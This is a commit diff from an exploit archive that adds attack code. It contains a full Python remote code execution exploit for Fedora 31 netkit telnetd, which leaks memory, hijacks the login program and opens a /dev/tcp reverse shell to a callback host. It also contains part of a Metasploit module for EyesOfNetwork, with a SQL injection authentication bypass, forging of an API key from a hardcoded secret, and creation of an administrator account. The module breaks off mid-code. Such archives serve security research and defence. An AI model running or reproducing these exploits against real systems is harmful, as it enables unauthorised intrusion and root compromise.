DB: 2020-03-06
3 changes to exploits/shellcodes Exchange Control Panel - Viewstate Deserialization (Metasploit) EyesOfNetwork - AutoDiscovery Target Command Execution (Metasploit) netkit-telnet-0.17 telnetd (Fedora 31) - 'BraveStarr' Remote Code Execution
This commit is contained in:
parent
fce46f25ae
commit
7531fa6a21
4 changed files with 916 additions and 0 deletions
406
exploits/linux/remote/48170.py
Executable file
406
exploits/linux/remote/48170.py
Executable file
|
@ -0,0 +1,406 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
#
|
||||||
|
# BraveStarr
|
||||||
|
# ==========
|
||||||
|
#
|
||||||
|
# Proof of Concept remote exploit against Fedora 31 netkit-telnet-0.17 telnetd.
|
||||||
|
#
|
||||||
|
# This is for demonstration purposes only. It has by no means been engineered
|
||||||
|
# to be reliable: 0xff bytes in addresses and inputs are not handled, and a lot
|
||||||
|
# of other constraints are not validated.
|
||||||
|
#
|
||||||
|
# AppGate (C) 2020 / Ronald Huizer / @ronaldhuizer
|
||||||
|
#
|
||||||
|
import argparse
|
||||||
|
import base64
|
||||||
|
import fcntl
|
||||||
|
import gzip
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
import sys
|
||||||
|
import termios
|
||||||
|
import time
|
||||||
|
|
||||||
|
class BraveStarr(object):
|
||||||
|
SE = 240 # 0xf0
|
||||||
|
DM = 242 # 0xf2
|
||||||
|
AO = 245 # 0xf5
|
||||||
|
SB = 250 # 0xfa
|
||||||
|
WILL = 251 # 0xfb
|
||||||
|
WONT = 252 # 0xfc
|
||||||
|
DO = 253 # 0xfd
|
||||||
|
IAC = 255 # 0xff
|
||||||
|
|
||||||
|
TELOPT_STATUS = 5
|
||||||
|
TELOPT_TTYPE = 24
|
||||||
|
TELOPT_NAWS = 31
|
||||||
|
TELOPT_TSPEED = 32
|
||||||
|
TELOPT_XDISPLOC = 35
|
||||||
|
TELOPT_ENVIRON = 39
|
||||||
|
|
||||||
|
TELQUAL_IS = 0
|
||||||
|
TELQUAL_SEND = 1
|
||||||
|
TELQUAL_INFO = 2
|
||||||
|
|
||||||
|
NETIBUF_SIZE = 8192
|
||||||
|
NETOBUF_SIZE = 8192
|
||||||
|
|
||||||
|
# Data segment offsets of interesting variables relative to `netibuf'.
|
||||||
|
netibuf_deltas = {
|
||||||
|
'loginprg': -34952,
|
||||||
|
'state_rcsid': -34880,
|
||||||
|
'subpointer': -34816,
|
||||||
|
'ptyslavefd': -34488,
|
||||||
|
'environ': -33408,
|
||||||
|
'state': -33268,
|
||||||
|
'LastArgv': -26816,
|
||||||
|
'Argv': -26808,
|
||||||
|
'remote_host_name': -26752,
|
||||||
|
'pbackp': -9232,
|
||||||
|
'nbackp': 8192
|
||||||
|
}
|
||||||
|
|
||||||
|
def __init__(self, host, port=23, timeout=5, callback_host=None):
|
||||||
|
self.host = host
|
||||||
|
self.port = port
|
||||||
|
self.sd = None
|
||||||
|
self.timeout = timeout
|
||||||
|
|
||||||
|
self.leak_marker = b"MARKER|MARKER"
|
||||||
|
self.addresses = {}
|
||||||
|
self.values = {}
|
||||||
|
|
||||||
|
if callback_host is not None:
|
||||||
|
self.chost = bytes(callback_host, 'ascii')
|
||||||
|
|
||||||
|
def fatal(self, msg):
|
||||||
|
print(msg, file=sys.stderr)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
def connect(self):
|
||||||
|
self.sd = socket.create_connection((self.host, self.port))
|
||||||
|
|
||||||
|
# Try to ensure the remote side will read a full 8191 bytes for
|
||||||
|
# `netobuf_fill' to work properly.
|
||||||
|
self.sd.setsockopt(socket.IPPROTO_TCP, socket.TCP_MAXSEG, 8191)
|
||||||
|
|
||||||
|
def address_delta(self, name1, name2):
|
||||||
|
return self.addresses[name1] - self.addresses[name2]
|
||||||
|
|
||||||
|
def address_serialize(self, name):
|
||||||
|
return struct.pack("<Q", self.addresses[name])
|
||||||
|
|
||||||
|
def ao(self):
|
||||||
|
return b"%c%c" % (self.IAC, self.AO)
|
||||||
|
|
||||||
|
def do(self, cmd):
|
||||||
|
return b"%c%c%c" % (self.IAC, self.DO, cmd)
|
||||||
|
|
||||||
|
def sb(self):
|
||||||
|
return b"%c%c" % (self.IAC, self.SB)
|
||||||
|
|
||||||
|
def se(self):
|
||||||
|
return b"%c%c" % (self.IAC, self.SE)
|
||||||
|
|
||||||
|
def will(self, cmd):
|
||||||
|
return b"%c%c%c" % (self.IAC, self.WILL, cmd)
|
||||||
|
|
||||||
|
def wont(self, cmd):
|
||||||
|
return b"%c%c%c" % (self.IAC, self.WONT, cmd)
|
||||||
|
|
||||||
|
def tx_flush(self):
|
||||||
|
while self.tx_len() != 0:
|
||||||
|
time.sleep(0.2)
|
||||||
|
|
||||||
|
def tx_len(self):
|
||||||
|
data = fcntl.ioctl(self.sd, termios.TIOCOUTQ, " ")
|
||||||
|
return struct.unpack('i', data)[0]
|
||||||
|
|
||||||
|
def netobuf_fill(self, delta):
|
||||||
|
# This populates the prefix of `netobuf' with IAC WONT SB triplets.
|
||||||
|
# This is not relevant now, but during the next time data is sent and
|
||||||
|
# `netobuf' will be reprocessed in `netclear' will calls `nextitem'.
|
||||||
|
# The `nextitem' function will overindex past `nfrontp' and use these
|
||||||
|
# triplets in the processing logic.
|
||||||
|
s = self.do(self.SB) * delta
|
||||||
|
|
||||||
|
# IAC AO will cause netkit-telnetd to add IAC DM to `netobuf' and set
|
||||||
|
# `neturg' to the DM byte in `netobuf'.
|
||||||
|
s += self.ao()
|
||||||
|
|
||||||
|
# In this request, every byte in `netibuf' will store a byte in
|
||||||
|
# `netobuf'. Here we ensure that all `netobuf' space is filled except
|
||||||
|
# for the last byte.
|
||||||
|
s += self.ao() * (3 - (self.NETOBUF_SIZE - len(s) - 1) % 3)
|
||||||
|
|
||||||
|
# We fill `netobuf' with the IAC DO IAC pattern. The last IAC DO IAC
|
||||||
|
# triplet will write IAC to the last free byte of `netobuf'. After
|
||||||
|
# this `netflush' will be called, and the DO IAC bytes will be written
|
||||||
|
# to the beginning of the now empty `netobuf'.
|
||||||
|
s += self.do(self.IAC) * ((self.NETOBUF_SIZE - len(s)) // 3)
|
||||||
|
|
||||||
|
# Send it out. This should be read in a single read(..., 8191) call on
|
||||||
|
# the remote side. We should probably tune the TCP MSS for this.
|
||||||
|
self.sd.sendall(s)
|
||||||
|
|
||||||
|
# We need to ensure this is written to the remote now. This is a bit
|
||||||
|
# of a kludge, as the remote can perfectly well still merge the
|
||||||
|
# separate packets into a single read(). This is less likely as the
|
||||||
|
# time delay increases. To do this properly we'd need to statefully
|
||||||
|
# match the responses to what we send. Alack, this is a PoC.
|
||||||
|
self.tx_flush()
|
||||||
|
|
||||||
|
def reset_and_sync(self):
|
||||||
|
# After triggering the bug, we want to ensure that nbackp = nfrontp =
|
||||||
|
# netobuf We can do so by getting netflush() called, and an easy way to
|
||||||
|
# accomplish this is using the TELOPT_STATUS suboption, which will end
|
||||||
|
# with a netflush.
|
||||||
|
self.telopt_status()
|
||||||
|
|
||||||
|
# We resynchronize on the output we receive by loosely scanning if the
|
||||||
|
# TELOPT_STATUS option is there. This is not a reliable way to do
|
||||||
|
# things. Alack, this is a PoC.
|
||||||
|
s = b""
|
||||||
|
status = b"%s%c" % (self.sb(), self.TELOPT_STATUS)
|
||||||
|
while status not in s and not s.endswith(self.se()):
|
||||||
|
s += self.sd.recv(self.NETOBUF_SIZE)
|
||||||
|
|
||||||
|
def telopt_status(self, mode=None):
|
||||||
|
if mode is None: mode = self.TELQUAL_SEND
|
||||||
|
s = b"%s%c%c%s" % (self.sb(), self.TELOPT_STATUS, mode, self.se())
|
||||||
|
self.sd.sendall(self.do(self.TELOPT_STATUS))
|
||||||
|
self.sd.sendall(s)
|
||||||
|
|
||||||
|
def trigger(self, delta, prefix=b"", suffix=b""):
|
||||||
|
assert b"\xff" not in prefix
|
||||||
|
assert b"\xff" not in suffix
|
||||||
|
|
||||||
|
s = prefix
|
||||||
|
|
||||||
|
# Add a literal b"\xff\xf0" to `netibuf'. This will terminate the
|
||||||
|
# `nextitem' scanning for IAC SB sequences.
|
||||||
|
s += self.se()
|
||||||
|
s += self.do(self.IAC) * delta
|
||||||
|
|
||||||
|
# IAC AO will force a call to `netclear'.
|
||||||
|
s += self.ao()
|
||||||
|
s += suffix
|
||||||
|
|
||||||
|
self.sd.sendall(s)
|
||||||
|
|
||||||
|
def infoleak(self):
|
||||||
|
# We use a delta that creates a SB/SE item
|
||||||
|
delta = 512
|
||||||
|
self.netobuf_fill(delta)
|
||||||
|
self.trigger(delta, self.leak_marker)
|
||||||
|
|
||||||
|
s = b""
|
||||||
|
self.sd.settimeout(self.timeout)
|
||||||
|
while self.leak_marker not in s:
|
||||||
|
try:
|
||||||
|
ret = self.sd.recv(8192)
|
||||||
|
except socket.timeout:
|
||||||
|
self.fatal('infoleak unsuccessful.')
|
||||||
|
|
||||||
|
if ret == b"":
|
||||||
|
self.fatal('infoleak unsuccessful.')
|
||||||
|
s += ret
|
||||||
|
|
||||||
|
return s
|
||||||
|
|
||||||
|
def infoleak_analyze(self, s):
|
||||||
|
m = s.rindex(self.leak_marker)
|
||||||
|
s = s[:m-20] # Cut 20 bytes of padding off too.
|
||||||
|
|
||||||
|
# Layout will depend on build. This works on Fedora 31.
|
||||||
|
self.values['net'] = struct.unpack("<I", s[-4:])[0]
|
||||||
|
self.values['neturg'] = struct.unpack("<Q", s[-12:-4])[0]
|
||||||
|
self.values['pfrontp'] = struct.unpack("<Q", s[-20:-12])[0]
|
||||||
|
self.values['netip'] = struct.unpack("<Q", s[-28:-20])[0]
|
||||||
|
|
||||||
|
# Resolve Fedora 31 specific addresses.
|
||||||
|
self.addresses['netibuf'] = (self.values['netip'] & ~4095) + 0x980
|
||||||
|
adjustment = len(max(self.netibuf_deltas, key=len))
|
||||||
|
for k, v in self.netibuf_deltas.items():
|
||||||
|
self.addresses[k] = self.addresses['netibuf'] + v
|
||||||
|
|
||||||
|
def _scratch_build(self, cmd, argv, envp):
|
||||||
|
# We use `state_rcsid' as the scratch memory area. As this area is
|
||||||
|
# fairly small, the bytes after it on the data segment will likely
|
||||||
|
# also be used. Nothing harmful is contained here for a while, so
|
||||||
|
# this is okay.
|
||||||
|
scratchpad = self.addresses['state_rcsid']
|
||||||
|
exec_stub = b"/bin/bash"
|
||||||
|
rcsid = b""
|
||||||
|
data_offset = (len(argv) + len(envp) + 2) * 8
|
||||||
|
|
||||||
|
# First we populate all argv pointers into the scratchpad.
|
||||||
|
argv_address = scratchpad
|
||||||
|
for arg in argv:
|
||||||
|
rcsid += struct.pack("<Q", scratchpad + data_offset)
|
||||||
|
data_offset += len(arg) + 1
|
||||||
|
rcsid += struct.pack("<Q", 0)
|
||||||
|
|
||||||
|
# Next we populate all envp pointers into the scratchpad.
|
||||||
|
envp_address = scratchpad + len(rcsid)
|
||||||
|
for env in envp:
|
||||||
|
rcsid += struct.pack("<Q", scratchpad + data_offset)
|
||||||
|
data_offset += len(env) + 1
|
||||||
|
rcsid += struct.pack("<Q", 0)
|
||||||
|
|
||||||
|
# Now handle the argv strings.
|
||||||
|
for arg in argv:
|
||||||
|
rcsid += arg + b'\0'
|
||||||
|
|
||||||
|
# And the environment strings.
|
||||||
|
for env in envp:
|
||||||
|
rcsid += env + b'\0'
|
||||||
|
|
||||||
|
# Finally the execution stub command is stored here.
|
||||||
|
stub_address = scratchpad + len(rcsid)
|
||||||
|
rcsid += exec_stub + b"\0"
|
||||||
|
|
||||||
|
return (rcsid, argv_address, envp_address, stub_address)
|
||||||
|
|
||||||
|
def _fill_area(self, name1, name2, d):
|
||||||
|
return b"\0" * (self.address_delta(name1, name2) - d)
|
||||||
|
|
||||||
|
def exploit(self, cmd):
|
||||||
|
env_user = b"USER=" + cmd
|
||||||
|
rcsid, argv, envp, stub = self._scratch_build(cmd, [b"bravestarr"], [env_user])
|
||||||
|
|
||||||
|
# The initial exploitation vector: this overwrite the area after
|
||||||
|
# `netobuf' with updated pointers values to overwrite `loginprg'
|
||||||
|
v = struct.pack("<Q", self.addresses['netibuf']) # netip
|
||||||
|
v += struct.pack("<Q", self.addresses['loginprg']) # pfrontp
|
||||||
|
v += struct.pack("<Q", 0) # neturg
|
||||||
|
v += struct.pack("<I", self.values['net']) # net
|
||||||
|
v = v.ljust(48, b'\0') # padding
|
||||||
|
|
||||||
|
self.netobuf_fill(len(v))
|
||||||
|
self.trigger(len(v), v + struct.pack('<Q', stub), b"A" * 8)
|
||||||
|
self.reset_and_sync()
|
||||||
|
|
||||||
|
s = b""
|
||||||
|
s += self._fill_area('state_rcsid', 'loginprg', 8)
|
||||||
|
s += rcsid
|
||||||
|
s += self._fill_area('ptyslavefd', 'state_rcsid', len(rcsid))
|
||||||
|
s += struct.pack("<I", 5)
|
||||||
|
s += self._fill_area('environ', 'ptyslavefd', 4)
|
||||||
|
s += struct.pack("<Q", envp)
|
||||||
|
s += self._fill_area('LastArgv', 'environ', 8)
|
||||||
|
s += struct.pack("<Q", argv) * 2
|
||||||
|
s += self._fill_area('remote_host_name', 'LastArgv', 16)
|
||||||
|
s += b"-c\0"
|
||||||
|
|
||||||
|
self.sd.sendall(s)
|
||||||
|
self.tx_flush()
|
||||||
|
|
||||||
|
# We need to finish `getterminaltype' in telnetd and ensure `startslave' is
|
||||||
|
# called.
|
||||||
|
self.sd.sendall(self.wont(self.TELOPT_TTYPE))
|
||||||
|
self.sd.sendall(self.wont(self.TELOPT_TSPEED))
|
||||||
|
self.sd.sendall(self.wont(self.TELOPT_XDISPLOC))
|
||||||
|
self.sd.sendall(self.wont(self.TELOPT_ENVIRON))
|
||||||
|
|
||||||
|
banner = """
|
||||||
|
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
|
||||||
|
r/a+S/cfKpbzJTo5AAA=
|
||||||
|
"""
|
||||||
|
|
||||||
|
parser = argparse.ArgumentParser(description="BraveStarr -- Remote Fedora 31 telnetd exploit")
|
||||||
|
parser.add_argument('-H', '--hostname', dest='hostname', required=True,
|
||||||
|
help='Target IP address or hostname')
|
||||||
|
parser.add_argument('-p', '--port', dest='port', type=int, default=23,
|
||||||
|
help='port number')
|
||||||
|
parser.add_argument('-t', '--timeout', dest='timeout', type=int, default=10,
|
||||||
|
help='socket timeout')
|
||||||
|
|
||||||
|
method_parser = parser.add_subparsers(dest='method', help='Exploitation method')
|
||||||
|
method_parser.required = True
|
||||||
|
|
||||||
|
method_infoleak_parser = method_parser.add_parser('leak', help='Leaks memory of the remote process')
|
||||||
|
|
||||||
|
method_cmd_parser = method_parser.add_parser('command', help='Executes a blind command on the remote')
|
||||||
|
method_cmd_parser.add_argument('command', help='Command to execute')
|
||||||
|
|
||||||
|
method_shell_parser = method_parser.add_parser('shell', help='Spawns a shell on the remote and connects back')
|
||||||
|
method_shell_parser.add_argument('-c', '--callback', dest='callback', required=True, help='Host to connect back a shell to')
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
for line in gzip.decompress(base64.b64decode(banner)).split(b"\n"):
|
||||||
|
sys.stdout.buffer.write(line + b"\n")
|
||||||
|
sys.stdout.buffer.flush()
|
||||||
|
time.sleep(0.1)
|
||||||
|
|
||||||
|
t = BraveStarr(args.hostname, port=args.port, timeout=args.timeout,
|
||||||
|
callback_host=getattr(args, 'callback', None))
|
||||||
|
|
||||||
|
print(f"\u26e4 Connecting to {args.hostname}:{args.port}")
|
||||||
|
t.connect()
|
||||||
|
|
||||||
|
# For the `shell' method, we set up a listening socket to receive the callback
|
||||||
|
# shell on.
|
||||||
|
if args.method == 'shell':
|
||||||
|
sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
sd.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
|
sd.bind(('0.0.0.0', 12345))
|
||||||
|
sd.listen(1)
|
||||||
|
|
||||||
|
s = t.infoleak()
|
||||||
|
t.infoleak_analyze(s)
|
||||||
|
|
||||||
|
print("\n\u26e4 Leaked variables")
|
||||||
|
print(f" netip : {t.values['netip']:#016x}")
|
||||||
|
print(f" pfrontp: {t.values['pfrontp']:#016x}")
|
||||||
|
print(f" neturg : {t.values['neturg']:#016x}")
|
||||||
|
print(f" net : {t.values['net']}")
|
||||||
|
|
||||||
|
print("\n\u26e4 Resolved addresses")
|
||||||
|
adjustment = len(max(t.netibuf_deltas, key=len))
|
||||||
|
for k, v in t.netibuf_deltas.items():
|
||||||
|
print(f" {k:<{adjustment}}: {t.addresses[k]:#016x}")
|
||||||
|
|
||||||
|
if args.method == 'leak':
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
t.reset_and_sync()
|
||||||
|
|
||||||
|
if args.method == 'shell':
|
||||||
|
t.exploit(b"/bin/bash -i >& /dev/tcp/%s/12345 0>&1" % t.chost)
|
||||||
|
|
||||||
|
print("\n\u26e4 Waiting for connect back shell")
|
||||||
|
if args.method == 'shell':
|
||||||
|
import telnetlib
|
||||||
|
|
||||||
|
tclient = telnetlib.Telnet()
|
||||||
|
tclient.sock = sd.accept()[0]
|
||||||
|
tclient.interact()
|
||||||
|
sd.close()
|
||||||
|
elif args.method == 'command':
|
||||||
|
print(f'\n\u26e4 Executing command "{args.command}"')
|
||||||
|
t.exploit(bytes(args.command, 'ascii'))
|
327
exploits/multiple/remote/48169.rb
Executable file
327
exploits/multiple/remote/48169.rb
Executable file
|
@ -0,0 +1,327 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'EyesOfNetwork AutoDiscovery Target Command Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits multiple vulnerabilities in EyesOfNetwork version 5.3
|
||||||
|
and prior in order to execute arbitrary commands as root.
|
||||||
|
|
||||||
|
This module takes advantage of a command injection vulnerability in the
|
||||||
|
`target` parameter of the AutoDiscovery functionality within the EON web
|
||||||
|
interface in order to write an Nmap NSE script containing the payload to
|
||||||
|
disk. It then starts an Nmap scan to activate the payload. This results in
|
||||||
|
privilege escalation because the`apache` user can execute Nmap as root.
|
||||||
|
|
||||||
|
Valid credentials for a user with administrative privileges are required.
|
||||||
|
However, this module can bypass authentication via two methods, i.e. by
|
||||||
|
generating an API access token based on a hardcoded key, and via SQLI.
|
||||||
|
This module has been successfully tested on EyesOfNetwork 5.3 with API
|
||||||
|
version 2.4.2.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Clément Billac', # @h4knet - Discovery and exploit
|
||||||
|
'bcoles', # Metasploit
|
||||||
|
'Erik Wynter' # @wyntererik - Metasploit
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2020-8654'], # authenticated rce
|
||||||
|
['CVE', '2020-8655'], # nmap privesc
|
||||||
|
['CVE', '2020-8656'], # sqli auth bypass
|
||||||
|
['CVE', '2020-8657'], # hardcoded API key
|
||||||
|
['EDB', '48025']
|
||||||
|
],
|
||||||
|
'Platform' => %w[unix linux],
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Targets' => [['Auto', { }]],
|
||||||
|
'Privileged' => true,
|
||||||
|
'DisclosureDate' => '2020-02-06',
|
||||||
|
'DefaultOptions' => {
|
||||||
|
'RPORT' => 443,
|
||||||
|
'SSL' => true, #HTTPS is required for the module to work
|
||||||
|
'PAYLOAD' => 'generic/shell_reverse_tcp'
|
||||||
|
},
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
register_options [
|
||||||
|
OptString.new('TARGETURI', [true, 'Base path to EyesOfNetwork', '/']),
|
||||||
|
OptString.new('SERVER_ADDR', [true, 'EyesOfNetwork server IP address (if different from RHOST)', '']),
|
||||||
|
]
|
||||||
|
register_advanced_options [
|
||||||
|
OptBool.new('ForceExploit', [false, 'Override check result', false])
|
||||||
|
]
|
||||||
|
end
|
||||||
|
|
||||||
|
def nmap_path
|
||||||
|
'/usr/bin/nmap'
|
||||||
|
end
|
||||||
|
|
||||||
|
def server_addr
|
||||||
|
datastore['SERVER_ADDR'].blank? ? rhost : datastore['SERVER_ADDR']
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
vprint_status("Running check")
|
||||||
|
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/eonapi/getApiKey')
|
||||||
|
|
||||||
|
unless res
|
||||||
|
return CheckCode::Unknown('Connection failed')
|
||||||
|
end
|
||||||
|
|
||||||
|
unless res.code == 401 && res.body.include?('api_version')
|
||||||
|
return CheckCode::Safe('Target is not an EyesOfNetwork application.')
|
||||||
|
end
|
||||||
|
|
||||||
|
version = res.get_json_document()['api_version'] rescue ''
|
||||||
|
|
||||||
|
if version.to_s.eql? ''
|
||||||
|
return CheckCode::Detected('Could not determine EyesOfNetwork version.')
|
||||||
|
end
|
||||||
|
|
||||||
|
version = Gem::Version.new version
|
||||||
|
|
||||||
|
unless version <= Gem::Version.new('2.4.2')
|
||||||
|
return CheckCode::Safe("Target is EyesOfNetwork with API version #{version}.")
|
||||||
|
end
|
||||||
|
|
||||||
|
CheckCode::Appears("Target is EyesOfNetwork with API version #{version}.")
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_api_key
|
||||||
|
default_key = "€On@piK3Y"
|
||||||
|
default_user_id = 1
|
||||||
|
key = Digest::MD5.hexdigest(default_key + default_user_id.to_s)
|
||||||
|
Digest::SHA256.hexdigest(key + server_addr)
|
||||||
|
end
|
||||||
|
|
||||||
|
def sqli_to_api_key
|
||||||
|
# Attempt to obtain the admin API key via SQL injection, using a fake password and its md5 encrypted hash
|
||||||
|
fake_pass = Rex::Text::rand_text_alpha(10)
|
||||||
|
fake_pass_md5 = Digest::MD5.hexdigest("#{fake_pass}")
|
||||||
|
user_sqli = "' union select 1,'admin','#{fake_pass_md5}',0,0,1,1,8 or '"
|
||||||
|
api_res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(target_uri.path, "/eonapi/getApiKey"),
|
||||||
|
'method' => 'GET',
|
||||||
|
'vars_get' => {
|
||||||
|
'username' => user_sqli,
|
||||||
|
'password' => fake_pass
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
unless api_res
|
||||||
|
print_error('Connection failed.')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
unless api_res.code == 200 && api_res.get_json_document.include?('EONAPI_KEY')
|
||||||
|
print_error("SQL injection to obtain API key failed")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
api_res.get_json_document()['EONAPI_KEY']
|
||||||
|
end
|
||||||
|
|
||||||
|
def create_eon_user(user, password)
|
||||||
|
vprint_status("Creating user #{user} ...")
|
||||||
|
|
||||||
|
vars_post = {
|
||||||
|
user_name: user,
|
||||||
|
user_group: "admins",
|
||||||
|
user_password: password
|
||||||
|
}
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, '/eonapi/createEonUser'),
|
||||||
|
'ctype' => 'application/json',
|
||||||
|
'vars_get' => {
|
||||||
|
'apiKey' => @api_key,
|
||||||
|
'username' => @api_user
|
||||||
|
},
|
||||||
|
'data' => vars_post.to_json
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
print_warning("Failed to create user: Connection failed.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
return res
|
||||||
|
end
|
||||||
|
|
||||||
|
def verify_api_key(res)
|
||||||
|
return false unless res.code == 200
|
||||||
|
|
||||||
|
json_data = res.get_json_document
|
||||||
|
json_res = json_data['result']
|
||||||
|
return false unless json_res && json_res['description']
|
||||||
|
json_res = json_res['description']
|
||||||
|
|
||||||
|
return true if json_res && json_res.include?('SUCCESS')
|
||||||
|
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
def delete_eon_user(user)
|
||||||
|
vprint_status "Removing user #{user} ..."
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, '/eonapi/deleteEonUser'),
|
||||||
|
'ctype' => 'application/json',
|
||||||
|
'data' => { user_name: user }.to_json,
|
||||||
|
'vars_get' => { apiKey: @api_key, username: @api_user }
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
print_warning 'Removing user #{user} failed: Connection failed'
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
def login(user, pass)
|
||||||
|
vprint_status "Authenticating as #{user} ..."
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'login.php'),
|
||||||
|
'vars_post' => {
|
||||||
|
login: user,
|
||||||
|
mdp: pass
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
fail_with Failure::Unreachable, 'Connection failed'
|
||||||
|
end
|
||||||
|
|
||||||
|
unless res.code == 200 && res.body.include?('dashboard_view')
|
||||||
|
fail_with Failure::NoAccess, 'Authentication failed'
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good "Authenticated as user #{user}"
|
||||||
|
|
||||||
|
@cookie = res.get_cookies
|
||||||
|
|
||||||
|
if @cookie.empty?
|
||||||
|
fail_with Failure::UnexpectedReply, 'Failed to retrieve cookies'
|
||||||
|
end
|
||||||
|
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
def create_autodiscovery_job(cmd)
|
||||||
